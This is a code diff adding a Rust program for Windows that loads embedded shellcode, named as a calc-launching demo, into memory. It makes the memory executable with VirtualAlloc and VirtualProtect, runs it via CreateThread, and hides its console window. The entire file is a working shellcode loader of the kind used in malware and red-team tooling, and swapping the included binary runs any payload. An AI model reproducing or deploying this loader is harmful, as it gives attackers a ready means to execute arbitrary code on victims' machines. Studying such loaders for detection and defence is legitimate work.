|
| 1 | +#![windows_subsystem = "windows"] |
| 2 | + |
| 3 | +use std::mem::transmute; |
| 4 | +use std::ptr::{copy, null, null_mut}; |
| 5 | +use windows_sys::Win32::Foundation::{FALSE, WAIT_FAILED}; |
| 6 | +use windows_sys::Win32::System::Memory::{ |
| 7 | + VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, |
| 8 | +}; |
| 9 | +use windows_sys::Win32::System::Threading::{CreateThread, WaitForSingleObject}; |
| 10 | + |
| 11 | +static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin"); |
| 12 | +static SIZE: usize = SHELLCODE.len(); |
| 13 | + |
| 14 | +fn main() { |
| 15 | + let mut old = PAGE_READWRITE; |
| 16 | + |
| 17 | + unsafe { |
| 18 | + let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
| 19 | + if dest == null_mut() { |
| 20 | + eprintln!("VirtualAlloc failed!"); |
| 21 | + return; |
| 22 | + } |
| 23 | + |
| 24 | + copy(SHELLCODE.as_ptr(), dest as *mut u8, SIZE); |
| 25 | + |
| 26 | + let res = VirtualProtect(dest, SIZE, PAGE_EXECUTE, &mut old); |
| 27 | + if res == FALSE { |
| 28 | + eprintln!("VirtualProtect failed!"); |
| 29 | + return; |
| 30 | + } |
| 31 | + |
| 32 | + let dest = transmute(dest); |
| 33 | + |
| 34 | + let thread = CreateThread(null(), 0, dest, null(), 0, null_mut()); |
| 35 | + if thread == 0 { |
| 36 | + eprintln!("CreateThread failed!"); |
| 37 | + return; |
| 38 | + } |
| 39 | + |
| 40 | + WaitForSingleObject(thread, WAIT_FAILED); |
| 41 | + } |
| 42 | +} |
0 commit comments